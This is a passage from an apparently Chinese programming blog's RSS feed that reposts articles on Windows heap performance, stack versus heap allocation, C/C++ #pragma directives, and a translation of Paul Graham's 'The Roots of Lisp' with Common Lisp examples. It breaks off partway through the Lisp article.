/>把带指针的子对象嵌入父对象。当对象中有指针时，则意味着对象中有动态元素（百分之八十）和没有引用的新位置。嵌入增加了位置从而减少了进一步分配/释放的需求。这将提高应用程序的性能。</p><p><br />合并小对象形成大对象（聚合）。聚合减少分配和释放的块的数量。如果有几个开发者，各自开发设计的不同部分，则最终会有许多小对象需要合并。集成的挑战就是要找到正确的聚合边界。</p><p><br />内联缓冲区能够满足百分之八十的需要（aka 80-20 规则）。个别情况下，需要内存缓冲区来保存字符串/二进制数据，但事先不知道总字节数。估计并内联一个大小能满足百分之八十需要的缓冲区。对剩余的百分之二十，可以分配一个新的缓冲区和指向这个缓冲区的指针。这样，就减少分配和释放调用并增加数据的位置空间，从根本上提高代码的性能。</p><p><br />在块中分配对象（块化）。块化是以组的方式一次分配多个对象的方法。如果对列表的项连续跟踪，例如对一个 {名称，值} 对的列表，有两种选择：选择一是为每一个“名称-值”对分配一个节点；选择二是分配一个能容纳（如五个）“名称-值”对的结构。例如，一般情况下，如果存储四对，就可减少节点的数量，如果需要额外的空间数量，则使用附加的链表指针。 <br />块化是友好的处理器高速缓存，特别是对于 L1-高速缓存，因为它提供了增加的位置 —不用说对于块分配，很多数据块会在同一个虚拟页中。</p><p>正确使用 _amblksiz。C 运行时 (CRT) 有它的自定义前端分配程序，该分配程序从后端（Win32 堆）分配大小为 _amblksiz 的块。将 _amblksiz 设置为较高的值能潜在地减少对后端的调用次数。这只对广泛使用 CRT 的程序适用。<br />使用上述技术将获得的好处会因对象类型、大小及工作量而有所不同。但总能在性能和可升缩性方面有所收获。另一方面，代码会有点特殊，但如果经过深思熟虑，代码还是很容易管理的。</p><p>其他提高性能的技术<br />下面是一些提高速度的技术： </p><p>使用 Windows NT5 堆 <br />由于几个同事的努力和辛勤工作，1998 年初 Microsoft Windows(R) 2000 中有了几个重大改进：</p><p>改进了堆代码内的锁定。堆代码对每堆一个锁。全局锁保护堆数据结构，防止多线程式的使用。但不幸的是，在高通信量的情况下，堆仍受困于全局锁，导致高竞争和低性能。Windows 2000 中，锁内代码的临界区将竞争的可能性减到最小,从而提高了可伸缩性。</p><p><br />使用 “Lookaside”列表。堆数据结构对块的所有空闲项使用了大小在 8 到 1,024 字节（以 8-字节递增）的快速高速缓存。快速高速缓存最初保护在全局锁内。现在，使用 lookaside 列表来访问这些快速高速缓存空闲列表。这些列表不要求锁定，而是使用 64 位的互锁操作，因此提高了性能。</p><p><br />内部数据结构算法也得到改进。<br />这些改进避免了对分配高速缓存的需求，但不排除其他的优化。使用 Windows NT5 堆评估您的代码；它对小于 1,024 字节 (1 KB) 的块（来自前端分配程序的块）是最佳的。GlobalAlloc() 和 LocalAlloc() 建立在同一堆上，是存取每个进程堆的通用机制。如果希望获得高的局部性能，则使用 Heap(R) API 来存取每个进程堆，或为分配操作创建自己的堆。如果需要对大块操作，也可以直接使用 VirtualAlloc() / VirtualFree() 操作。</p><p>上述改进已在 Windows 2000 beta 2 和 Windows NT 4.0 SP4 中使用。改进后，堆锁的竞争率显著降低。这使所有 Win32 堆的直接用户受益。CRT 堆建立于 Win32 堆的顶部，但它使用自己的小块堆，因而不能从 Windows NT 改进中受益。（Visual C++ 版本 6.0 也有改进的堆分配程序。）</p><p>使用分配高速缓存 <br />分配高速缓存允许高速缓存分配的块，以便将来重用。这能够减少对进程堆（或全局堆）的分配/释放调用的次数，也允许最大限度的重用曾经分配的块。另外，分配高速缓存允许收集统计信息,以便较好地理解对象在较高层次上的使用。</p><p>典型地，自定义堆分配程序在进程堆的顶部实现。自定义堆分配程序与系统堆的行为很相似。主要的差别是它在进程堆的顶部为分配的对象提供高速缓存。高速缓存设计成一套固定大小（如 32 字节、64 字节、128 字节等）。这一个很好的策略，但这种自定义堆分配程序丢失与分配和释放的对象相关的“语义信息”。 </p><p>与自定义堆分配程序相反，“分配高速缓存”作为每类分配高速缓存来实现。除能够提供自定义堆分配程序的所有好处之外，它们还能够保留大量语义信息。每个分配高速缓存处理程序与一个目标二进制对象关联。它能够使用一套参数进行初始化，这些参数表示并发级别、对象大小和保持在空闲列表中的元素的数量等。分配高速缓存处理程序对象维持自己的私有空闲实体池（不超过指定的阀值）并使用私有保护锁。合在一起，分配高速缓存和私有锁减少了与主系统堆的通信量，因而提供了增加的并发、最大限度的重用和较高的可伸缩性。</p><p>需要使用清理程序来定期检查所有分配高速缓存处理程序的活动情况并回收未用的资源。如果发现没有活动，将释放分配对象的池，从而提高性能。</p><p>可以审核每个分配/释放活动。第一级信息包括对象、分配和释放调用的总数。通过查看它们的统计信息可以得出各个对象之间的语义关系。利用以上介绍的许多技术之一，这种关系可以用来减少内存分配。</p><p>分配高速缓存也起到了调试助手的作用，帮助您跟踪没有完全清除的对象数量。通过查看动态堆栈返回踪迹和除没有清除的对象之外的签名，甚至能够找到确切的失败的调用者。</p><p>MP 堆 <br />MP 堆是对多处理器友好的分布式分配的程序包，在 Win32 SDK（Windows NT 4.0 和更新版本）中可以得到。最初由 JVert 实现，此处堆抽象建立在 Win32 堆程序包的顶部。MP 堆创建多个 Win32 堆，并试图将分配调用分布到不同堆，以减少在所有单一锁上的竞争。</p><p>本程序包是好的步骤 —一种改进的 MP-友好的自定义堆分配程序。但是，它不提供语义信息和缺乏统计功能。通常将 MP 堆作为 SDK 库来使用。如果使用这个 SDK 创建可重用组件，您将大大受益。但是，如果在每个 DLL 中建立这个 SDK 库，将增加工作设置。</p><p>重新思考算法和数据结构 <br />要在多处理器机器上伸缩，则算法、实现、数据结构和硬件必须动态伸缩。请看最经常分配和释放的数据结构。试问，“我能用不同的数据结构完成此工作吗？”例如，如果在应用程序初始化时加载了只读项的列表，这个列表不必是线性链接的列表。如果是动态分配的数组就非常好。动态分配的数组将减少内存中的堆块和碎片，从而增强性能。</p><p>减少需要的小对象的数量减少堆分配程序的负载。例如，我们在服务器的关键处理路径上使用五个不同的对象，每个对象单独分配和释放。一起高速缓存这些对象，把堆调用从五个减少到一个，显著减少了堆的负载，特别当每秒钟处理 1,000 个以上的请求时。</p><p>如果大量使用“Automation”结构，请考虑从主线代码中删除“Automation BSTR”，或至少避免重复的 BSTR 操作。（BSTR 连接导致过多的重分配和分配/释放操作。）</p><p>摘要<br />对所有平台往往都存在堆实现，因此有巨大的开销。每个单独代码都有特定的要求，但设计能采用本文讨论的基本理论来减少堆之间的相互作用。 </p><p>评价您的代码中堆的使用。</p><p><br />改进您的代码，以使用较少的堆调用：分析关键路径和固定数据结构。</p><p><br />在实现自定义的包装程序之前使用量化堆调用成本的方法。</p><p><br />如果对性能不满意，请要求 OS 组改进堆。更多这类请求意味着对改进堆的更多关注。</p><p><br />要求 C 运行时组针对 OS 所提供的堆制作小巧的分配包装程序。随着 OS 堆的改进，C 运行时堆调用的成本将减小。</p><p><br />操作系统（Windows NT 家族）正在不断改进堆。请随时关注和利用这些改进。<br />Murali Krishnan 是 Internet Information Server (IIS) 组的首席软件设计工程师。从 1.0 版本开始他就设计 IIS，并成功发行了 1.0 版本到 4.0 版本。Murali 组织并领导 IIS 性能组三年 (1995-1998), 从一开始就影响 IIS 性能。他拥有威斯康星州 Madison 大学的 M.S.和印度 Anna 大学的 B.S.。工作之外，他喜欢阅读、打排球和家庭烹饪。<br /><br /><br /><br /><img src="http://club.5ivb.net/pic/url.gif" align="absMiddle" border="0" /><a href="http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=172835" target="_blank"><font color="#000000">http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=172835</font></a><br />我在学习对象的生存方式的时候见到一种是在堆栈(stack)之中，如下  <br />CObject  object;  <br />还有一种是在堆(heap)中  如下  <br />CObject*  pobject=new  CObject();  <br /> <br />请问  <br />（1）这两种方式有什么区别？  <br />（2）堆栈与堆有什么区别？？  <br /> <br /> <br />---------------------------------------------------------------  <br /> <br />1)  about  stack,  system  will  allocate  memory  to  the  instance  of  object  automatically,  and  to  the <br /> heap,  you  must  allocate  memory  to  the  instance  of  object  with  new  or  malloc  manually.  <br />2)  when  function  ends,  system  will  automatically  free  the  memory  area  of  stack,  but  to  the  <br />heap,  you  must  free  the  memory  area  manually  with  free  or  delete,  else  it  will  result  in  memory <br />leak.  <br />3)栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。  <br />4）堆上分配的内存可以有我们自己决定，使用非常灵活。  <br />---------------------------------------------------------------  <br /> <br /> <br />堆和栈的比较  <br /> <br />     从堆和栈的功能和作用来通俗的比较,堆主要用来存放对象的，栈主要是用来执行程序的.而这种不同又主要是由于堆和栈的特点决定的:  <br /> <br />     在编程中，例如C/C++中，所有的方法调用都是通过栈来进行的,所有的局部变量,形式参数都是从栈中分配内存空间的。实际上也不是什么分配,只是从栈顶向上用就行,就好像工厂中的传送带(conveyor  belt)一样,Stack  Pointer会自动指引你到放东西的位置,你所要做的只是把东西放下来就行.退出函数的时候，修改栈指针就可以把栈中的内容销毁.这样的模式速度最快,当然要用来运行程序了.需要注意的是,在分配的时候,比如为一个即将要调用的程序模块分配数据区时,应事先知道这个数据区的大小,也就说是虽然分配是在程序运行时进行的,但是分配的大小多少是确定的,不变的,而这个"大小多少"是在编译时确定的,不是在运行时.  <br /> <br />     堆是应用程序在运行的时候请求操作系统分配给自己内存，由于从操作系统管理的内存分配,所以在分配和销毁时都要占用时间，因此用堆的效率非常低.但是堆的优点在于,编译器不必知道要从堆里分配多少存储空间，也不必知道存储的数据要在堆里停留多长的时间,因此,用堆保存数据时会得到更大的灵活性。事实上,面向对象的多态性,堆内存分配是必不可少的,因为多态变量所需的存储空间只有在运行时创建了对象之后才能确定.在C++中，要求创建一个对象时，只需用new命令编制相关的代码即可。执行这些代码时，会在堆里自动进行数据的保存.当然，为达到这种灵活性，必然会付出一定的代价:在堆里分配存储空间时会花掉更长的时间！这也正是导致效率低的原因,  <br /> <br />我想你现在该明白了吧。：）   </p></div>
<img src ="http://www.cnitblog.com/martin/aggbug/10268.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-05-09 18:23 <a href="http://www.cnitblog.com/martin/archive/2006/05/09/10268.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]#pragma 预处理指令详解</title><link>http://www.cnitblog.com/martin/archive/2006/05/09/10267.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Tue, 09 May 2006 10:16:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/05/09/10267.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/10267.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/05/09/10267.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/10267.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/10267.html</trackback:ping><description><![CDATA[
		<span class="tpc_content">
				<font size="2">From: <a href="http://www.cppblog.com/oosky/archive/2006/01/06/2464.html">http://www.cppblog.com/oosky/archive/2006/01/06/2464.html</a><br /><br />文章来源：网络<br />文章作者：不详<br /><br />        在所有的预处理指令中，#Pragma 指令可能是最复杂的了，它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。#pragma指令对每个编译器给出了一个方法,在保持与C和C++语言完全兼容的情况下,给出主机或操作系统专有的特征。依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。 <br />其格式一般为:   #Pragma Para <br />  其中Para 为参数，下面来看一些常用的参数。 <br /><br />  (1)message 参数。 Message 参数是我最喜欢的一个参数，它能够在编译信息输出窗 <br />口中输出相应的信息，这对于源代码信息的控制是非常重要的。其使用方法为： <br />    #Pragma message(“消息文本”) <br />    当编译器遇到这条指令时就在编译输出窗口中将消息文本打印出来。 <br />  当我们在程序中定义了许多宏来控制源代码版本的时候，我们自己有可能都会忘记有没有正确的设置这些宏，此时我们可以用这条指令在编译的时候就进行检查。假设我们希望判断自己有没有在源代码的什么地方定义了_X86这个宏可以用下面的方法 <br />    #ifdef _X86 <br />    #Pragma message(“_X86 macro activated!”) <br />    #endif <br />    当我们定义了_X86这个宏以后，应用程序在编译时就会在编译输出窗口里显示“_ <br />X86 macro activated!”。我们就不会因为不记得自己定义的一些特定的宏而抓耳挠腮了 <br />。 <br />  <br />  (2)另一个使用得比较多的pragma参数是code_seg。格式如： <br />    #pragma code_seg( ["section-name"[,"section-class"] ] ) <br />    它能够设置程序中函数代码存放的代码段，当我们开发驱动程序的时候就会使用到它。 <br /><br />  (3)#pragma once (比较常用） <br />    只要在头文件的最开始加入这条指令就能够保证头文件被编译一次，这条指令实际上在VC6中就已经有了，但是考虑到兼容性并没有太多的使用它。 <br />  <br />  (4)#pragma hdrstop表示预编译头文件到此为止，后面的头文件不进行预编译。BCB可以预编译头文件以加快链接的速度，但如果所有头文件都进行预编译又可能占太多磁盘空间，所以使用这个选项排除一些头文件。   <br />  有时单元之间有依赖关系，比如单元A依赖单元B，所以单元B要先于单元A编译。你可以用#pragma startup指定编译优先级，如果使用了#pragma package(smart_init) ，BCB就会根据优先级的大小先后编译。   <br />  <br />  (5)#pragma resource "*.dfm"表示把*.dfm文件中的资源加入工程。*.dfm中包括窗体 <br />外观的定义。   <br />  <br />  (6)#pragma warning( disable : 4507 34; once : 4385; error : 164 ) <br />    等价于： <br />    #pragma warning(disable:4507 34) // 不显示4507和34号警告信息 <br />    #pragma warning(once:4385)     // 4385号警告信息仅报告一次 <br />    #pragma warning(error:164)     // 把164号警告信息作为一个错误。 <br />    同时这个pragma warning 也支持如下格式： <br />    #pragma warning( push [ ,n ] ) <br />    #pragma warning( pop ) <br />    这里n代表一个警告等级(1---4)。 <br />    #pragma warning( push )保存所有警告信息的现有的警告状态。 <br />    #pragma warning( push, n)保存所有警告信息的现有的警告状态，并且把全局警告 <br />等级设定为n。   <br />    #pragma warning( pop )向栈中弹出最后一个警告信息，在入栈和出栈之间所作的 <br />一切改动取消。例如： <br />    #pragma warning( push ) <br />    #pragma warning( disable : 4705 ) <br />    #pragma warning( disable : 4706 ) <br />    #pragma warning( disable : 4707 ) <br />    //....... <br />    #pragma warning( pop )   <br />    在这段代码的最后，重新保存所有的警告信息(包括4705，4706和4707)。 <br />  （7）pragma comment(...) <br />    该指令将一个注释记录放入一个对象文件或可执行文件中。 <br />    常用的lib关键字，可以帮我们连入一个库文件。 <br /><br /><br />每个编译程序可以用#pragma指令激活或终止该编译程序支持的一些编译功能。例如，对循环优化功能： <br />#pragma loop_opt(on)     // 激活 <br />#pragma loop_opt(off) // 终止 <br />有时，程序中会有些函数会使编译器发出你熟知而想忽略的警告，如“Parameter xxx is never used in function xxx”，可以这样： <br />#pragma warn —100     // Turn off the warning message for warning #100 <br />int insert_record(REC *r) <br />{ /* function body */ } <br />#pragma warn +100         // Turn the warning message for warning #100 back on <br />函数会产生一条有唯一特征码100的警告信息，如此可暂时终止该警告。 <br />每个编译器对#pragma的实现不同，在一个编译器中有效在别的编译器中几乎无效。可从编译器的文档中查看。</font>
		</span>
		<br />
<img src ="http://www.cnitblog.com/martin/aggbug/10267.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-05-09 18:16 <a href="http://www.cnitblog.com/martin/archive/2006/05/09/10267.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]Lisp之根源--保罗格雷厄姆</title><link>http://www.cnitblog.com/martin/archive/2006/05/09/10235.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Tue, 09 May 2006 01:14:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/05/09/10235.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/10235.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/05/09/10235.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/10235.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/10235.html</trackback:ping><description><![CDATA[
		<div class="postbody">
				<p>From: <a href="/wroxman/archive/2006/05/06/10134.html">http://www.cnitblog.com/wroxman/archive/2006/05/06/10134.html</a><br /><br />约翰麦卡锡于1960年发表了一篇非凡的论文,他在这篇论文中对编程的贡献有如欧几里德对几何的贡献.<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot222" name="tex2html1"><sup><font color="#1d58d1">1</font></sup></a> 他向我们展示了,在只给定几个简单的操作符和一个表示函数的记号的基础上, 如何构造出一个完整的编程语言. 麦卡锡称这种语言为Lisp, 意为List Processing, 因为他的主要思想之一是用一种简单的数据结构表(list)来代表代码和数据. </p>
				<p>值得注意的是,麦卡锡所作的发现,不仅是计算机史上划时代的大事, 而且是一种在我们这个时代编程越来越趋向的模式.我认为目前为止只有两种真正干净利落, 始终如一的编程模式:C语言模式和Lisp语言模式.此二者就象两座高地, 在它们中间是尤如沼泽的低地.随着计算机变得越来越强大,新开发的语言一直在坚定地趋向于Lisp模式. 二十年来,开发新编程语言的一个流行的秘决是,取C语言的计算模式,逐渐地往上加Lisp模式的特性,例如运行时类型和无用单元收集. </p>
				<p>在这篇文章中我尽可能用最简单的术语来解释约翰麦卡锡所做的发现. 关键是我们不仅要学习某个人四十年前得出的有趣理论结果, 而且展示编程语言的发展方向. Lisp的不同寻常之处--也就是它优质的定义--是它能够自己来编写自己. 为了理解约翰麦卡锡所表述的这个特点,我们将追溯他的步伐,并将他的数学标记转换成能够运行的Common Lisp代码. </p>
				<p>
				</p>
				<h1>
						<a name="SECTION00010000000000000000">
								<font color="#1d58d1">七个原始操作符</font>
						</a>
				</h1>
				<p>开始我们先定义<em>表达式</em>.表达式或是一个<em>原子</em>(atom),它是一个字母序列(如 foo),或是一个由零个或多个表达式组成的<em>表</em>(list), 表达式之间用空格分开, 放入一对括号中. 以下是一些表达式: </p>
				<p>
				</p>
				<pre>foo
()
(foo)
(foo bar)
(a b (c) d)
</pre>最后一个表达式是由四个元素组成的表, 第三个元素本身是由一个元素组成的表. 
<p>在算术中表达式 1 + 1 得出值2. 正确的Lisp表达式也有值. 如果表达式<i>e</i>得出值<i>v</i>,我们说<i>e</i><em>返回</em><i>v</i>. 下一步我们将定义几种表达式以及它们的返回值. </p><p>如果一个表达式是表,我们称第一个元素为<em>操作符</em>,其余的元素为<em>自变量</em>.我们将定义七个原始(从公理的意义上说)操作符: quote,atom,eq,car,cdr,cons,和 cond. </p><p></p><ol><li>(quote <i>x</i>) 返回<i>x</i>.为了可读性我们把(quote <i>x</i>)简记 为'<i>x</i>. 
<p></p><pre>&gt; (quote a)
a
&gt; 'a
a
&gt; (quote (a b c))
(a b c)
</pre><p></p></li><li>(atom <i>x</i>)返回原子t如果<i>x</i>的值是一个原子或是空表,否则返回(). 在Lisp中我们按惯例用原子t表示真, 而用空表表示假. 
<p></p><pre>&gt; (atom 'a)
t
&gt; (atom '(a b c))
()
&gt; (atom '())
t
</pre><p>既然有了一个自变量需要求值的操作符, 我们可以看一下quote的作用. 通过引用(quote)一个表,我们避免它被求值. 一个未被引用的表作为自变量传给象 atom这样的操作符将被视为代码: </p><p></p><pre>&gt; (atom (atom 'a))
t
</pre><p>反之一个被引用的表仅被视为表, 在此例中就是有两个元素的表: </p><p></p><pre>&gt; (atom '(atom 'a))
()
</pre><p>这与我们在英语中使用引号的方式一致. Cambridge(剑桥)是一个位于麻萨诸塞州有90000人口的城镇. 而``Cambridge''是一个由9个字母组成的单词. </p><p>引用看上去可能有点奇怪因为极少有其它语言有类似的概念. 它和Lisp最与众不同的特征紧密联系:代码和数据由相同的数据结构构成, 而我们用quote操作符来区分它们. </p><p></p></li><li>(eq <i>x</i><i>y</i>)返回t如果<i>x</i>和<i>y</i>的值是同一个原子或都是空表, 否则返回(). 
<p></p><pre>&gt; (eq 'a 'a)
t
&gt; (eq 'a 'b)
()
&gt; (eq '() '())
t
</pre><p></p></li><li>(car <i>x</i>)期望<i>x</i>的值是一个表并且返回<i>x</i>的第一个元素. 
<p></p><pre>&gt; (car '(a b c))
a
</pre><p></p></li><li>(cdr <i>x</i>)期望<i>x</i>的值是一个表并且返回<i>x</i>的第一个元素之后的所有元素. <pre>&gt; (cdr '(a b c))
(b c)
</pre><p></p></li><li>(cons <i>x</i><i>y</i>)期望<i>y</i>的值是一个表并且返回一个新表,它的第一个元素是<i>x</i>的值, 后面跟着<i>y</i>的值的各个元素. 
<p></p><pre>&gt; (cons 'a '(b c))
(a b c)
&gt; (cons 'a (cons 'b (cons 'c '())))
(a b c)
&gt; (car (cons 'a '(b c)))
a
&gt; (cdr (cons 'a '(b c)))
(b c)
</pre></li><li>(cond (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$e_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img2.png" width="19" align="middle" border="0" />) ...(<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />...<img height="28" alt="$e_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img4.png" width="20" align="middle" border="0" />)) 的求值规则如下. <i>p</i>表达式依次求值直到有一个返回t. 如果能找到这样的<i>p</i>表达式,相应的<i>e</i>表达式的值作为整个cond表达式的返回值. 
<p></p><pre>&gt; (cond ((eq 'a 'b) 'first)
        ((atom 'a)  'second))
second
</pre><p>当表达式以七个原始操作符中的五个开头时,它的自变量总是要求值的.<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot84" name="tex2html2"><sup><font color="#1d58d1">2</font></sup></a> 我们称这样 的操作符为<em>函数</em>. </p></li></ol><p></p><h1><a name="SECTION00020000000000000000"><font color="#1d58d1">函数的表示</font></a></h1>接着我们定义一个记号来描述函数.函数表示为(lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>),其中 <img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />是原子(叫做<em>参数</em>),<i>e</i>是表达式. 如果表达式的第一个元素形式如上 
<p><tt>((lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>) <img height="28" alt="$a_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img5.png" width="20" align="middle" border="0" />...<img height="28" alt="$a_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img6.png" width="21" align="middle" border="0" />) </tt></p><p>则称为<em>函数调用</em>.它的值计算如下.每一个表达式<img height="28" alt="$a_{i}$" src="http://daiyuwen.freeshell.org/gb/rol/img7.png" width="18" align="middle" border="0" />先求值,然后<i>e</i>再求值.在<i>e</i>的求值过程中,每个出现在<i>e</i>中的<img height="28" alt="$p_{i}$" src="http://daiyuwen.freeshell.org/gb/rol/img8.png" width="17" align="middle" border="0" />的值是相应的<img height="28" alt="$a_{i}$" src="http://daiyuwen.freeshell.org/gb/rol/img7.png" width="18" align="middle" border="0" />在最近一次的函数调用中的值. </p><p></p><pre>&gt; ((lambda (x) (cons x '(b))) 'a)
(a b)
&gt; ((lambda (x y) (cons x (cdr y)))
   'z
   '(a b c))
(z b c)
</pre>如果一个表达式的第一个元素<i>f</i>是原子且<i>f</i>不是原始操作符 
<p><tt>(f <img height="28" alt="$a_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img5.png" width="20" align="middle" border="0" />...<img height="28" alt="$a_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img6.png" width="21" align="middle" border="0" />) </tt></p><p>并且<i>f</i>的值是一个函数(lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />)),则以上表达式的值就是 </p><p><tt>((lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>) <img height="28" alt="$a_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img5.png" width="20" align="middle" border="0" />...<img height="28" alt="$a_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img6.png" width="21" align="middle" border="0" />) </tt></p><p>的值. 换句话说,参数在表达式中不但可以作为自变量也可以作为操作符使用: </p><p></p><pre>&gt; ((lambda (f) (f '(b c)))
   '(lambda (x) (cons 'a x)))
(a b c)
</pre><p>有另外一个函数记号使得函数能提及它本身,这样我们就能方便地定义递归函数.<a href="http://daiyuwen.freeshell.org/gb/rol/roots_of_lisp.html#foot108" name="tex2html3"><sup><font color="#1d58d1">3</font></sup></a> 记号 </p><p><tt>(label f (lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>)) </tt></p><p>表示一个象(lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>)那样的函数,加上这样的特性: 任何出现在<i>e</i>中的<i>f</i>将求值为此label表达式, 就好象<i>f</i>是此函数的参数. </p><p>假设我们要定义函数(subst <i>x y z</i>), 它取表达式<i>x</i>,原子<i>y</i>和表<i>z</i>做参数,返回一个象<i>z</i>那样的表, 不过<i>z</i>中出现的<i>y</i>(在任何嵌套层次上)被<i>x</i>代替. </p><pre>&gt; (subst 'm 'b '(a b (a b c) d))
(a m (a m c) d)
</pre>我们可以这样表示此函数 <pre>(label subst (lambda (x y z)
               (cond ((atom z)
                      (cond ((eq z y) x)
                            ('t z)))
                     ('t (cons (subst x y (car z))
                               (subst x y (cdr z)))))))
</pre>我们简记<i>f</i>=(label <i>f</i> (lambda (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>))为 
<p><tt>(defun <i>f</i> (<img height="28" alt="$p_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img1.png" width="19" align="middle" border="0" />...<img height="28" alt="$p_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img3.png" width="21" align="middle" border="0" />) <i>e</i>) </tt></p><p>于是 </p><pre>(defun subst (x y z)
  (cond ((atom z)
         (cond ((eq z y) x)
               ('t z)))
        ('t (cons (subst x y (car z))
                  (subst x y (cdr z))))))
</pre>偶然地我们在这儿看到如何写cond表达式的缺省子句. 第一个元素是't的子句总是会成功的. 于是 
<p><tt>(cond (<i>x y</i>) ('t <i>z</i>)) </tt></p><p>等同于我们在某些语言中写的 </p><p><tt>if <i>x</i> then <i>y</i> else <i>z</i></tt></p><p></p><h1><a name="SECTION00030000000000000000"><font color="#1d58d1">一些函数</font></a></h1>既然我们有了表示函数的方法,我们根据七个原始操作符来定义一些新的函数. 为了方便我们引进一些常见模式的简记法. 我们用c<i>x</i>r,其中<i>x</i>是a或d的序列,来简记相应的car和cdr的组合. 比如(cadr <i>e</i>)是(car (cdr <i>e</i>))的简记,它返回<i>e</i>的第二个元素. 
<p></p><pre>&gt; (cadr '((a b) (c d) e))
(c d)
&gt; (caddr '((a b) (c d) e))
e
&gt; (cdar '((a b) (c d) e))
(b)
</pre>我们还用(list <img height="28" alt="$e_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img2.png" width="19" align="middle" border="0" />...<img height="28" alt="$e_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img4.png" width="20" align="middle" border="0" />)表示(cons <img height="28" alt="$e_{1}$" src="http://daiyuwen.freeshell.org/gb/rol/img2.png" width="19" align="middle" border="0" />...(cons <img height="28" alt="$e_{n}$" src="http://daiyuwen.freeshell.org/gb/rol/img4.png" width="20" align="middle" border="0" />'()) ...). <pre>&gt; (cons 'a (cons 'b (cons 'c '())))
(a b c)
&gt; (list 'a 'b 'c)
(a b c)
</pre><p>现在我们定义一些新函数. 我在函数名后面加了点,以区别函数和定义它们的原始函数,也避免与现存的common Lisp的函数冲突. </p><p></p><ol><li>(null. <i>x</i>)测试它的自变量是否是空表. 
<p></p><pre>(defun null. (x)
  (eq x '()))

&gt; (null. 'a)
()
&gt; (null. '())
t
</pre><p></p></li><li>(and. <i>x y</i>)返回t如果它的两个自变量都是t, 否则返回(). 
<p></p><pre>(defun and. (x y)
  (cond (x (cond (y 't) ('t '())))
        ('t '())))

&gt; (and. (atom 'a) (eq 'a 'a))
t
&gt; (and. (atom 'a) (eq 'a 'b))
()
</pre><p></p></li><li>(not. <i>x</i>)返回t如果它的自变量返回(),返回()如果它的自变量返回t. 
<p></p><pre>(defun not. (x)
  (cond (x '())
        ('t 't)))

&gt; (not. (eq 'a 'a))
()
